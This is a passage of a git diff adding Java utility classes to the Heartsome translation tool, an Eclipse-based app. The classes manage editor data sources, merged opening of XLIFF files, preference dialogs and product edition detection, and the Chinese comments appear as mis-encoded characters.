Activator.getDefault().getPreferenceStore(); + /*final*/ InnerTagScanner scanner = new InnerTagScanner(store, IColorPreferenceConstant.TAG_FG_COLOR, + IColorPreferenceConstant.TAG_BG_COLOR); +// store.addPropertyChangeListener(new IPropertyChangeListener() { +// +// public void propertyChange(PropertyChangeEvent event) { +// String property = event.getProperty(); +// if (IColorPreferenceConstant.TAG_FG_COLOR.equals(property) +// || IColorPreferenceConstant.TAG_BG_COLOR.equals(property)) { +// scanner.updateToken(IColorPreferenceConstant.TAG_FG_COLOR, IColorPreferenceConstant.TAG_BG_COLOR); +// +// if (doc != null) { // 刷新 +// try { +// doc.replace(doc.getLength(), 0, ""); +// } catch (BadLocationException e) { +// e.printStackTrace(); +// } +// } +// } +// } +// }); + return scanner; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/DataSourceHelper.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/DataSourceHelper.java new file mode 100644 index 0000000..41804a4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/DataSourceHelper.java @@ -0,0 +1,186 @@ +package net.heartsome.cat.ts.ui.util; + +import java.text.MessageFormat; +import java.util.Collection; +import java.util.HashMap; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.QualifiedName; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.ide.FileStoreEditorInput; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 用于获å–æ•°æ®æºçš„辅助类 (T 为获å–çš„æ•°æ®æºçš„类型) + * @author weachy + * @since JDK1.5 + */ +public class DataSourceHelper { + + private static final Logger LOGGER = LoggerFactory.getLogger(DataSourceHelper.class); + + private QualifiedName name; + + private Class dataSourceClass; + + private static HashMap map = new HashMap(); + + public DataSourceHelper(Class dataSourceClass) { + this.dataSourceClass = dataSourceClass; + String dataSourcePackageName = dataSourceClass.getPackage().getName(); + String dataSourceClassName = dataSourceClass.getSimpleName(); + name = new QualifiedName(dataSourcePackageName, dataSourceClassName); + } + + /** + * 获å–æ•°æ®æº + * @param editorPart + * @return ; + */ + public T getDataSource(IEditorPart editorPart) { + IEditorInput editorInput = editorPart.getEditorInput(); + return this.getDataSource(editorInput); + } + + /** + * 获å–æ•°æ®æº + * @param editorInput + * @return ; + */ + @SuppressWarnings("unchecked") + public T getDataSource(IEditorInput editorInput) { + if (editorInput instanceof FileEditorInput) { + if (editorInput instanceof FileEditorInput) { + FileEditorInput fileEditorInput = (FileEditorInput) editorInput; + IFile file = fileEditorInput.getFile(); + return this.getDataSource(file); + } + } else if (editorInput instanceof FileStoreEditorInput) { + FileStoreEditorInput fileStoreEditorInput = (FileStoreEditorInput) editorInput; + Object obj = map.get(generateKey(fileStoreEditorInput)); + if (dataSourceClass.isInstance(obj)) { + return (T) obj; + } + } + return null; + } + + /** + * 获å–æ•°æ®æº + * @param file + * @return ; + */ + @SuppressWarnings("unchecked") + private T getDataSource(IFile file) { + Object obj = null; + try { + obj = file.getSessionProperty(name); + } catch (CoreException e) { + LOGGER.debug(MessageFormat.format(Messages.getString("util.DataSourceHelper.logger1"), + dataSourceClass.getName()), e); + e.printStackTrace(); + } + return (T) obj; + } + + /** + * 设置数æ®æº + * @param file + * @param dataSource + * @return ; + */ + private boolean setDataSource(IFile file, T dataSource) { + try { + file.setSessionProperty(name, dataSource); + return true; + } catch (CoreException e) { + LOGGER.debug(MessageFormat.format(Messages.getString("util.DataSourceHelper.logger2"), + dataSourceClass.getName()), e); + e.printStackTrace(); + return false; + } + } + + /** + * 设置数æ®æº + * @param editorInput + * @param dataSource + * @return ; + */ + public boolean setDataSource(IEditorInput editorInput, T dataSource) { + if (editorInput instanceof FileEditorInput) { + FileEditorInput fileEditorInput = (FileEditorInput) editorInput; + IFile file = fileEditorInput.getFile(); + return setDataSource(file, dataSource); + } else if (editorInput instanceof FileStoreEditorInput) { + FileStoreEditorInput fileStoreEditorInput = (FileStoreEditorInput) editorInput; + map.put(generateKey(fileStoreEditorInput), dataSource); + return true; + } + return false; + } + + /** + * 设置数æ®æº + * @param editorPart + * @param dataSource + * @return ; + */ + public boolean setDataSource(IEditorPart editorPart, T dataSource) { + IEditorInput editorInput = editorPart.getEditorInput(); + return setDataSource(editorInput, dataSource); + } + + /** + * 生æˆä¿å­˜åˆ° Map 的键值 + * @param fileStoreEditorInput + * @return ; + */ + private String generateKey(FileStoreEditorInput fileStoreEditorInput) { + return fileStoreEditorInput.getURI().toString() + "\u00A0" + name.toString(); + } + + /** + * 从 oldInput å¤åˆ¶æ•°æ®æºåˆ° newInput + * @param oldInput + * @param newInput + * @return ; + */ + @SuppressWarnings("unchecked") + public static boolean copyDataSource(IEditorInput oldInput, IEditorInput newInput) { + if (oldInput instanceof FileEditorInput) { + FileEditorInput fileEditorInput = (FileEditorInput) oldInput; + IFile file = fileEditorInput.getFile(); + try { + Collection values = file.getSessionProperties().values(); + for (Object value : values) { + DataSourceHelper helper = new DataSourceHelper(value.getClass()); + helper.setDataSource(newInput, value); + } + return true; + } catch (CoreException e) { + e.printStackTrace(); + return false; + } + } else if (oldInput instanceof FileStoreEditorInput) { + FileStoreEditorInput fileStoreEditorInput = (FileStoreEditorInput) oldInput; + for (Entry entry : map.entrySet()) { + String key = entry.getKey(); + if (key.startsWith(fileStoreEditorInput.getURI().toString() + "\u00A0")) { + Object value = map.get(key); + DataSourceHelper helper = new DataSourceHelper(value.getClass()); + helper.setDataSource(newInput, value); + } + } + return true; + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/MultiFilesOper.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/MultiFilesOper.java new file mode 100644 index 0000000..cbe14cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/MultiFilesOper.java @@ -0,0 +1,332 @@ +package net.heartsome.cat.ts.ui.util; + +import java.io.File; +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * åˆå¹¶æ‰“å¼€XLIFFæ–‡ä»¶çš„å¤„ç† + * @author robert 2012-04-23 + * @version + * @since JDK1.6 + */ +public class MultiFilesOper { + private static final String _TEMPFOLDER = ".TEMP"; + private static final String _XLP = ".xlp"; + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + /** 当å‰åˆå¹¶æ‰“开的所有文件所在的项目 */ + private IProject selectedProject; + /** 当å‰åˆå¹¶æ‰“开的所有文件 */ + private ArrayList selectIFiles; + /** 当å‰åˆå¹¶æ‰“开的临时文件 */ + private IFile curMultiTempFile; + + private static final Logger LOGGER = LoggerFactory.getLogger(MultiFilesOper.class.getName()); + + public MultiFilesOper(IProject selectedProject, ArrayList selectIFiles){ + this.selectedProject = selectedProject; + this.selectIFiles = selectIFiles; + } + + public MultiFilesOper(IProject selectedProject, ArrayList selectIFiles, IFile curMultiTempFile){ + this.selectedProject = selectedProject; + this.selectIFiles = selectIFiles; + this.curMultiTempFile = curMultiTempFile; + } + + /** + * 创建åˆå¹¶æ‰“å¼€XLIFF文件的临时文件 + */ + public IFile createMultiTempFile(){ + if (!selectedProject.getFolder(_TEMPFOLDER).exists()) { + File tempFold = selectedProject.getLocation().append(_TEMPFOLDER).toFile(); + tempFold.mkdirs(); + } + + File tempFile = null; + try { + tempFile = createTempFile(); + } catch (Exception e1) { + e1.printStackTrace(); + } + + if (tempFile == null) { + return null; + } + + IFile multiFile = selectedProject.getFolder(_TEMPFOLDER).getFile(tempFile.getName()); + try { + selectedProject.refreshLocal(2, null); + } catch (CoreException e1) { + e1.printStackTrace(); + } + return multiFile; + } + + /** + * 验è¯è¯¥åˆå¹¶æ‰“开的文件是å¦å·²ç»é‡å¤è¢«æ‰“开,如果被åˆå¹¶æ‰“开,则返回true,未被打开,返回false. + * @param selectIFiles + * @return ; + */ + public boolean validExist(){ + IEditorReference[] editorRes = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + + try { + IFile iFile = ((FileEditorInput)editorRes[i].getEditorInput()).getFile(); + if (!"xlp".equals(iFile.getFileExtension())) { + continue; + } + } catch (Exception e) { + LOGGER.error("", e); + } + boolean isRepeat = true; + + IXliffEditor xlfEditor = (IXliffEditor) editorRes[i].getEditor(true); + List mergerIFileList = ResourceUtils.filesToIFiles(xlfEditor.getMultiFileList()); + if (mergerIFileList.size() == selectIFiles.size()) { + for (IFile curIFile : selectIFiles) { + if (mergerIFileList.indexOf(curIFile) < 0) { + isRepeat = false; + break; + } + } + }else { + isRepeat = false; + } + if (isRepeat) { + return true; + } + } + } + return false; + } + + /** + * 获å–当å‰æ‰€æ‰“开的所有文件 + * @return + */ + public List getAllOpenedIFiles(){ + IEditorReference[] editorRes = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + List isOpenedXlfList = new ArrayList(); + try { + IXliffEditor xlfEditor; + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + IFile iFile = ((FileEditorInput)editorRes[i].getEditorInput()).getFile(); + //åˆå¹¶æ‰“开的情况 + if ("xlp".equals(iFile.getFileExtension())) { + xlfEditor = (IXliffEditor) editorRes[i].getEditor(true); + isOpenedXlfList.addAll(ResourceUtils.filesToIFiles(xlfEditor.getMultiFileList())); + }else { + try { + isOpenedXlfList.add(((FileEditorInput)editorRes[i].getEditorInput()).getFile()); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + return isOpenedXlfList; + } + + /** + * 验è¯å½“å‰è¦åˆå¹¶æ‰“开的文件是å¦æœ‰æ–‡ä»¶å­˜åœ¨å·²ç»æ‰“开的情况,并从当å‰è¦åˆå¹¶æ‰“开的文件中删除已ç»æ‰“开的文件 + *
    è¿™ä¸ªæ–¹æ³•ä¸€æ˜¯éªŒè¯ æ‰€é€‰è¦æ‰“开的文件 中是å¦å·²ç»æœ‰è¢«æ‰“开了的,第二是,会删除已ç»æ‰“开的文件,因此慎用。
    + * getOpenedIfile 方法也有验è¯æ‰€é€‰æ‹©æ–‡ä»¶æ˜¯å¦æœ‰æ‰“开的情况
    + * @return + */ + public boolean hasOpenedIFile(){ + IEditorReference[] editorRes = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + List isOpenedXlfList = new ArrayList(); + IXliffEditor xlfEditor; + boolean hasOpenedIFile = false; + + try { + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + IFile iFile = ((FileEditorInput)editorRes[i].getEditorInput()).getFile(); + //åˆå¹¶æ‰“开的情况 + if ("xlp".equals(iFile.getFileExtension())) { + System.out.println("---------------"); + xlfEditor = (IXliffEditor) editorRes[i].getEditor(true); + isOpenedXlfList.addAll(ResourceUtils.filesToIFiles(xlfEditor.getMultiFileList())); + }else { + try { + isOpenedXlfList.add(((FileEditorInput)editorRes[i].getEditorInput()).getFile()); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + + if (isOpenedXlfList.size() > 0) { + for(IFile iFile : isOpenedXlfList){ + if (selectIFiles.indexOf(iFile) >= 0) { + hasOpenedIFile = true; + selectIFiles.remove(iFile); + } + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + + return hasOpenedIFile; + } + + /** + * 获å–所选择的è¦åˆå¹¶æ‰“开的文件中已ç»è¢«æ‰“开的文件 + * @return + */ + public List getOpenedIfile(){ + IEditorReference[] editorRes = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + List isOpenedXlfList = new ArrayList(); + IXliffEditor xlfEditor; + + try { + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + IFile iFile = ((FileEditorInput)editorRes[i].getEditorInput()).getFile(); + //åˆå¹¶æ‰“开的情况 + if ("xlp".equals(iFile.getFileExtension())) { + xlfEditor = (IXliffEditor) editorRes[i].getEditor(true); + isOpenedXlfList.addAll(ResourceUtils.filesToIFiles(xlfEditor.getMultiFileList())); + }else { + try { + isOpenedXlfList.add(((FileEditorInput)editorRes[i].getEditorInput()).getFile()); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + } catch (Exception e) { + LOGGER.error("", e); + } + + return isOpenedXlfList; + } + + /** + * æ ¹æ®æŒ‡å®šè¦åˆå¹¶æ‰“开的文件,获å–å…¶é…置文件 + * @param selectIFiles + * @param isActive 如果找到了符åˆçš„åˆå¹¶æ‰“开临时文件,是å¦æ¿€æ´»å½“å‰nattable编辑器 + * @return ; + */ + public IFile getMultiFilesTempIFile(boolean isActive){ + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IEditorReference[] editorRes = page.getEditorReferences(); + + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + try { + IXliffEditor xlfEditor = (IXliffEditor) editorRes[i].getEditor(true); + IFile multiTempFile = ((FileEditorInput) editorRes[i].getEditorInput()).getFile(); + List openedFileList = xlfEditor.getMultiFileList(); + + boolean isExist = false; + if (selectIFiles.size() == openedFileList.size()) { + isExist = true; + for (IFile iFile : selectIFiles) { + if (openedFileList.indexOf(iFile.getFullPath().toFile()) == -1) { + continue; + } + } + } + +// Map resultMap = handler.openFile(multiTempFile.getLocation().toOSString()); +// if (resultMap == null +// || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { +// continue; +// } +// List mergerFileList = handler.getMultiFiles(multiTempFile); +// if (mergerFileList.size() == selectIFiles.size()) { +// for (IFile iFile : selectIFiles) { +// if (mergerFileList.indexOf(iFile.getLocation().toOSString()) < 0) { +// continue; +// } +// } +// } + if (isActive) { + page.activate(editorRes[i].getEditor(true)); + } + if (isExist) { + return multiTempFile; + } + } catch (PartInitException e) { + e.printStackTrace(); + } + } + } + return null; + } + + + + /** + * 创建临时文件,里é¢ä¿å­˜åˆå¹¶æ‰“开的文件路径 + * @param selectIFiles + * @throws Exception + */ + private File createTempFile() throws Exception { + String tempFile = selectedProject.getLocation().append(_TEMPFOLDER).append(System.currentTimeMillis() + _XLP).toOSString(); + FileOutputStream output = new FileOutputStream(tempFile); + StringBuffer dataSB = new StringBuffer(); + dataSB.append("\n"); + dataSB.append("\n"); + for (IFile iFile : selectIFiles) { + dataSB.append(MessageFormat.format("\t\n", iFile.getLocation().toOSString())); + } + dataSB.append("\n"); + output.write(dataSB.toString().getBytes("UTF-8")); + output.close(); + File file = new File(tempFile); + return file; + } + + public IProject getSelectedProject() { + return selectedProject; + } + + public void setSelectedProject(IProject selectedProject) { + this.selectedProject = selectedProject; + } + + public ArrayList getSelectIFiles() { + return selectIFiles; + } + + public void setSelectIFiles(ArrayList selectIFiles) { + this.selectIFiles = selectIFiles; + } + + public IFile getCurMultiTempFile() { + return curMultiTempFile; + } + + public void setCurMultiTempFile(IFile curMultiTempFile) { + this.curMultiTempFile = curMultiTempFile; + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/PreferenceUtil.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/PreferenceUtil.java new file mode 100644 index 0000000..d09f944 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/util/PreferenceUtil.java @@ -0,0 +1,714 @@ +package net.heartsome.cat.ts.ui.util; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; +import java.text.Collator; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map.Entry; + +import net.heartsome.cat.common.ui.dialog.HsPreferenceDialog; +import net.heartsome.cat.common.ui.languagesetting.LanguageCodesPreferencePage; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.help.SystemResourceUtil; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.SystemPreferencePage; +import net.heartsome.cat.ts.ui.preferencepage.colors.ColorsPreferencePage; +import net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.preference.IPreferenceNode; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferenceLabelProvider; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.jface.util.Util; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.IWorkbenchWindow; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 获å–首选项值的工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class PreferenceUtil { + + /** + * 获å–项目属性的文本字段 + * @return ; + */ + public static ArrayList getProjectFieldList() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + ArrayList lstField = new ArrayList(); + int fieldCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.fieldCount"); + if (fieldCount > 0) { + for (int i = 0; i < fieldCount; i++) { + lstField.add(store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.field" + i)); + } + } + // å¯¹ä¸­æ–‡æŒ‰æ‹¼éŸ³æŽ’åº + Collator collatorChinese = Collator.getInstance(java.util.Locale.CHINA); + Collections.sort(lstField, collatorChinese); + return lstField; + } + + /** + * 获å–项目属性的属性字段 + * @return key 为属性å称,value ä¸ºå±žæ€§å€¼é›†åˆ + */ + public static LinkedHashMap> getProjectAttributeMap() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + HashMap> mapAttr = new HashMap>(); + int attrNameCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrNameCount"); + // å¯¹ä¸­æ–‡æŒ‰æ‹¼éŸ³æŽ’åº + final Collator collatorChinese = Collator.getInstance(java.util.Locale.CHINA); + LinkedHashMap> linkedMapAttr = new LinkedHashMap>(); + if (attrNameCount > 0) { + for (int i = 0; i < attrNameCount; i++) { + String strAttrName = store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i); + int attrValCount = store + .getInt("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + i + + ".count"); + ArrayList lstAttrVal = new ArrayList(); + if (attrValCount > 0) { + for (int j = 0; j < attrValCount; j++) { + lstAttrVal + .add(store + .getString("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage.attrName" + + i + ".attrVal" + j)); + } + } + Collections.sort(lstAttrVal, collatorChinese); + mapAttr.put(strAttrName, lstAttrVal); + } + List>> lstAttr = new ArrayList>>( + mapAttr.entrySet()); + Collections.sort(lstAttr, new Comparator>>() { + + public int compare(Entry> arg0, Entry> arg1) { + return collatorChinese.compare(arg0.getKey(), arg1.getKey()); + } + }); + + for (Entry> entry : lstAttr) { + linkedMapAttr.put(entry.getKey(), entry.getValue()); + } + } + + return linkedMapAttr; + } + + private static final Logger LOGGER = LoggerFactory.getLogger(PreferenceUtil.class); + + public static void openPreferenceDialog(IWorkbenchWindow window, final String defaultId) { + SystemResourceUtil.load(); + PreferenceManager mgr = window.getWorkbench().getPreferenceManager(); + mgr.remove("net.heartsome.cat.ui.preferencePages.Perspectives"); + mgr.remove("org.eclipse.ui.preferencePages.Workbench"); + mgr.remove("org.eclipse.update.internal.ui.preferences.MainPreferencePage"); + mgr.remove("org.eclipse.help.ui.browsersPreferencePage"); + if (CommonFunction.checkEdition("L")) { + List lstNodeId = new ArrayList(); + lstNodeId.add(SystemPreferencePage.ID); + lstNodeId.add(LanguageCodesPreferencePage.ID); + lstNodeId.add(ColorsPreferencePage.ID); + lstNodeId.add("org.eclipse.ui.preferencePages.Keys"); + @SuppressWarnings("unchecked") + List lstNodes = mgr.getElements(PreferenceManager.PRE_ORDER); + for (IPreferenceNode node : lstNodes) { + if (!lstNodeId.contains(node.getId())) { + mgr.remove(node); + } + } + } + + final Object[] defaultNode = new Object[1]; + HsPreferenceDialog dlg = new HsPreferenceDialog(window.getShell(), mgr); + dlg.create(); + + final List imageList = new ArrayList(); + dlg.getTreeViewer().setLabelProvider(new PreferenceLabelProvider() { + public Image getImage(Object element) { + String id = ((IPreferenceNode) element).getId(); + if (defaultId != null && id.equals(defaultId)) { + defaultNode[0] = element; + } + Image image = null; + if (SystemPreferencePage.ID.equals(id)) { + // 系统èœå• + image = Activator.getImageDescriptor("images/preference/system/system.png").createImage(); + imageList.add(image); + return image; + } else if (LanguageCodesPreferencePage.ID.equals(id)) { + // 系统 > 语言代ç èœå• + image = Activator.getImageDescriptor("images/preference/system/language.png").createImage(); + imageList.add(image); + return image; + } else if (ColorsPreferencePage.ID.equals(id)) { + // 系统 > 颜色èœå• + image = Activator.getImageDescriptor("images/preference/system/color.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.SpellPage".equals(id)) { + // å“质检查 > 内置è¯å…¸èœå• + image = Activator.getImageDescriptor("images/preference/system/dictionary-in.png").createImage(); + imageList.add(image); + return image; + } else if ("org.eclipse.ui.preferencePages.Keys".equals(id)) { + // 系统 > å¿«æ·é”®èœå• + image = Activator.getImageDescriptor("images/preference/system/keys.png").createImage(); + imageList.add(image); + return image; + } else if ("org.eclipse.ui.net.proxy_preference_page_context".equals(id)) { + // 网络连接 + image = Activator.getImageDescriptor("images/preference/system/network.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.QAPage".equals(id)) { + // å“质检查èœå• + image = Activator.getImageDescriptor("images/preference/qa/qa.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.NonTranslationQAPage".equals(id)) { + // å“质检查 > éžè¯‘元素èœå• + image = Activator.getImageDescriptor("images/preference/qa/not-trans-set.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.QAInstalPage".equals(id)) { + // å“质检查 > 批é‡æ£€æŸ¥è®¾ç½®èœå• + image = Activator.getImageDescriptor("images/preference/qa/check-set.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.FileAnalysisInstalPage".equals(id)) { + // æ–‡ä»¶åˆ†æž + image = Activator.getImageDescriptor("images/preference/qa/fileAnalysis.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.qa.preference.EquivalentPage".equals(id)) { + // æ–‡ä»¶åˆ†æž -- > 加æƒç³»æ•°è®¾ç½® + image = Activator.getImageDescriptor("images/preference/tm/equal-parameter.png").createImage(); + imageList.add(image); + return image; + } else if (TranslationPreferencePage.ID.equals(id)) { + // 翻译èœå• + image = Activator.getImageDescriptor("images/preference/translate/translation.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.pretranslation.preferencepage".equals(id)) { + // 预翻译 + image = Activator.getImageDescriptor("images/preference/translate/pre-translation.png") + .createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.googletrans.preferencepage".equals(id)) { + // google + image = Activator.getImageDescriptor("images/preference/translate/google-translation.png") + .createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.bingtrans.preferencepage".equals(id)) { + // bing + image = Activator.getImageDescriptor("images/preference/translate/bing-translation.png") + .createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.database.ui.tm.preference.tmpage".equals(id)) { + // 记忆库 + image = Activator.getImageDescriptor("images/preference/tm/tm-db.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.database.ui.tb.preference.tbpage".equals(id)) { + // 术语库èœå• + image = Activator.getImageDescriptor("images/preference/tb/tb-db.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.convert.ui.preference.FileTypePreferencePage".equals(id)) { + // 文件类型 + image = Activator.getImageDescriptor("images/preference/file/documents.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.converter.msexcel2007.preference.ExcelPreferencePage".equals(id)) { + // Microsoft Excel 2007 + image = Activator.getImageDescriptor("images/preference/file/excel_16.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.converter.pptx.preference.PPTXPreferencePage".equals(id)) { + // Microsoft PowerPoint 2007 + image = Activator.getImageDescriptor("images/preference/file/powerpoint_16.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.converter.mif.preference.FrameMakerPreferencePage".equals(id)) { + // Adobe FrameMaker + image = Activator.getImageDescriptor("images/preference/file/framemaker_16.png").createImage(); + imageList.add(image); + return image; + } else if ("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage".equals(id)) { + // 项目属性 + image = Activator.getImageDescriptor("images/preference/projectProperties.png").createImage(); + imageList.add(image); + return image; + } else { + return null; + } + } + }); + + if (defaultNode[0] != null) { + dlg.getTreeViewer().setSelection(new StructuredSelection(defaultNode), true); + dlg.getTreeViewer().getControl().setFocus(); + } + + // 修改BUG 2764, å“质检查--选项弹出的对è¯æ¡†æœ‰æˆªæ–­ robert 2012-12-03 + if ("net.heartsome.cat.ts.ui.qa.preference.QAPage".equals(defaultId)) { + if (dlg.getShell().getSize().x < 860 || dlg.getShell().getSize().y < 716) { + dlg.getShell().setSize(860, 716); + } + } else if ("net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage".equals(defaultId)) { + int x = Util.isLinux() ? 839 : 908; + int y = Util.isLinux() ? 709 : 557; + dlg.getShell().setSize(Math.max(dlg.getShell().getSize().x, x), Math.max(dlg.getShell().getSize().y, y)); + } + dlg.open(); + + // 清ç†èµ„æº + for (Image img : imageList) { + if (img != null && !img.isDisposed()) { + img.dispose(); + } + } + imageList.clear(); + } + + public static void initProductEdition() { + System.getProperties().put("TSVersion", "89"); + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + System.getProperties().put("TSEdition", ""); + System.getProperties().put("TSVersion", ""); + return; + } + + URL location = null; + try { + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + location = new URL(configArea.getURL().toExternalForm() + "features"); + String featureFolderName = location.getFile(); + File featureFolder = new File(featureFolderName); + // é历 features 目录 + if (featureFolder.isDirectory()) { + boolean isU = false; + boolean isF = false; + boolean isP = false; + boolean isL = false; + String strUVersion = null; + String strFVersion = null; + String strPVersion = null; + String strLVersion = null; + + for (File f : featureFolder.listFiles()) { + String name = f.getName(); + if (name.startsWith("net.heartsome.cat.ts.edition_")) { + if (vg.parseFile(f.getAbsolutePath() + File.separator + "feature.xml", true)) { + VTDNav vn = vg.getNav(); + ap.bind(vn); + ap.selectXPath("/feature"); + if (ap.evalXPath() != -1) { + int idIndex = vn.getAttrVal("id"); + int versionIndex = vn.getAttrVal("version"); + if (idIndex == -1 || versionIndex == -1) { + System.getProperties().put("TSEdition", ""); + return; + } + String id = vn.toRawString(idIndex); + String version = vn.toRawString(versionIndex); + if (name.equals(id + "_" + version)) { + // 判断是哪个版本 精简:L(lite) 个人:P(personal) 专业:F(Professional) 旗舰:U(Ultimate) + // 由于 feature å¯ä»¥åŒ…å«ï¼Œå› æ­¤è¦é历所有以 net.heartsome.cat.ts.edition_ 开头的目录,找到版本最高的 + if (id.equals("net.heartsome.cat.ts.edition_ultimate.feature")) { + isU = true; + strUVersion = version; + break; + } else if (id.equals("net.heartsome.cat.ts.edition_professional.feature")) { + isF = true; + strFVersion = version; + continue; + } else if (id.equals("net.heartsome.cat.ts.edition_personal.feature")) { + isP = true; + strPVersion = version; + continue; + } else if (id.equals("net.heartsome.cat.ts.edition_lite.feature")) { + isL = true; + strLVersion = version; + continue; + } + } else { + System.getProperties().put("TSEdition", ""); + return; + } + } else { + System.getProperties().put("TSEdition", ""); + } + } else { + System.getProperties().put("TSEdition", ""); + } + } + } + + if (isU) { + System.getProperties().put("TSEdition", "U"); + System.getProperties().put("TSVersionDate", strUVersion); + } else if (isF) { + System.getProperties().put("TSEdition", "F"); + System.getProperties().put("TSVersionDate", strFVersion); + } else if (isP) { + System.getProperties().put("TSEdition", "P"); + System.getProperties().put("TSVersionDate", strPVersion); + } else if (isL) { + 